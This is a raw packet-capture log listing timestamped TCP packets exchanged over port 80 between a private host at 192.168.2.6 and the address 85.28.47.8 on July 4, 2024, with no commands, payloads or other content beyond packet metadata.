                                                              Jul 4, 2024 11:16:18.092746019 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.092750072 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.092787027 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.127830982 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.127891064 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.127902985 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.127949953 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.127952099 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.127962112 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.127976894 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.127988100 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.127993107 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.128026009 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.168756962 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.168808937 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.168833017 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.168844938 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.168874979 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.168886900 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.168893099 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.168910027 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.168922901 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.168926001 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.168967962 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.168982983 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.169112921 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.169130087 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.169142008 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.169152975 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.169163942 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.169163942 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.169178009 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.169184923 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.169190884 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.169224024 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.169238091 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.169734001 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.169747114 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.169763088 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.169774055 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.169785023 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.169795990 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.169805050 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.169816017 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.169828892 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.169830084 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.169842958 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.169855118 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.169866085 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.169867039 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.169888020 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.169891119 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.169900894 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.169913054 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.169925928 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.169936895 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.169938087 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.169950008 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.169960976 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.169967890 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.169972897 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.169986963 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.169990063 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.170000076 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.170006037 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.170023918 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.170032978 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.170033932 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.170046091 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.170057058 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.170061111 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.170068979 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.170080900 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.170125961 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.170190096 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.170201063 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.170255899 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.180603027 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.180639982 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.180649996 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.180691957 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.180737972 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.180754900 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.180766106 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.180777073 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.180778980 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.180825949 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.180912018 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.180927038 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.180938005 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.180948973 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.180953026 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.180959940 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.180994034 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.181032896 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.181067944 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.181080103 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.181091070 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.181101084 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.181111097 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.181122065 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.181155920 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.181288004 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.181294918 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.181301117 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.181307077 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.181313038 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.181318045 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.181324959 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.181330919 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.181337118 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.181343079 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.181349993 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.181355000 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.181380987 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.181401968 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.181555033 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.181569099 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.181617022 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.181617975 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.181627989 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.181638956 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.181653023 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.181664944 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.181664944 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.181708097 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.181864977 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.181875944 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.181889057 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.181899071 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.181914091 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.181919098 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.181925058 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.181936026 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.181936026 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.181950092 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.181951046 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.181962967 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.181973934 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.181984901 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.182017088 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.182090998 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.182101965 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.182137012 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.182251930 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.182265043 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.182275057 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.182286024 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.182296038 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.182305098 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.182307959 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.182321072 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.182332993 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.182341099 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.182344913 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.182362080 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.182363987 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.182374954 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.182387114 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.182389021 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.182398081 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.182410002 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.182420015 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.182430029 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.182436943 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.182466030 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.182774067 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.182785034 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.182796001 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.182813883 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.182832956 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.217787027 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.217823029 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.217835903 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.217892885 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.217905045 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.217909098 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.217955112 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.217973948 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.217984915 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.218023062 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.258600950 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.258624077 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.258635998 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.258697033 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.258699894 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.258708954 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.258721113 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.258732080 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.258755922 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.258771896 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.258886099 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.258898020 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.258910894 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.258920908 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.258933067 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.258934021 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.258948088 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.258981943 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.259011984 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.259107113 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.259119987 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.259130955 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.259141922 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.259154081 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.259165049 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.259171009 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.259176970 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.259188890 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.259200096 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.259200096 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.259221077 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.259221077 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.259233952 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.259244919 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.259265900 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.259300947 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.259553909 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.259571075 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.259583950 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.259593964 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.259604931 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.259620905 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.259622097 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.259630919 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.259634972 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.259646893 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.259659052 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.259670019 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.259701014 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.259769917 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.259780884 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.259790897 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.259803057 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.259820938 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.259826899 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.259836912 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.259840012 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.259852886 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.259867907 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.259869099 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.259896040 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.270514965 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.270577908 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.270581961 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.270597935 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.270612001 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.270623922 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.270644903 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.270668030 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.270688057 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.270699024 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.270737886 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.270771980 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.270782948 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.270793915 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.270807028 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.270818949 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.270840883 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.270893097 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.270905018 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.270915985 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.270942926 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.271095991 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.271107912 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.271120071 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.271131992 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.271143913 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.271147966 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.271156073 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.271168947 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.271177053 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.271178961 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.271193981 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.271214008 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.271387100 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.271399021 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.271409988 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.271421909 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.271433115 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.271435022 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.271445036 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.271456957 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.271466970 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.271469116 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.271482944 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.271482944 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.271497965 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.271507978 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.271508932 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.271531105 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.271559000 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.271691084 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.271707058 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.271718979 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.271729946 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.271743059 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.271755934 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.271759033 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.271784067 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.271809101 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.271897078 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.271908045 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.271919966 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.271930933 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.271941900 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.271953106 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.271960020 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.271964073 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.271984100 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.272211075 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.272222996 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.272233963 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.272245884 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.272253990 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.272258043 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.272272110 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.272286892 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.272288084 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.272298098 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.272308111 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.272309065 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.272321939 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.272325039 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.272332907 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.272342920 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.272355080 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.272361040 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.272367954 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.272381067 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.272396088 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.272419930 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.272671938 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.272684097 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.272695065 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.272706032 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.272716045 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.272722960 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.272737026 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.308422089 CEST804972385.28.47.8192.168.2.6
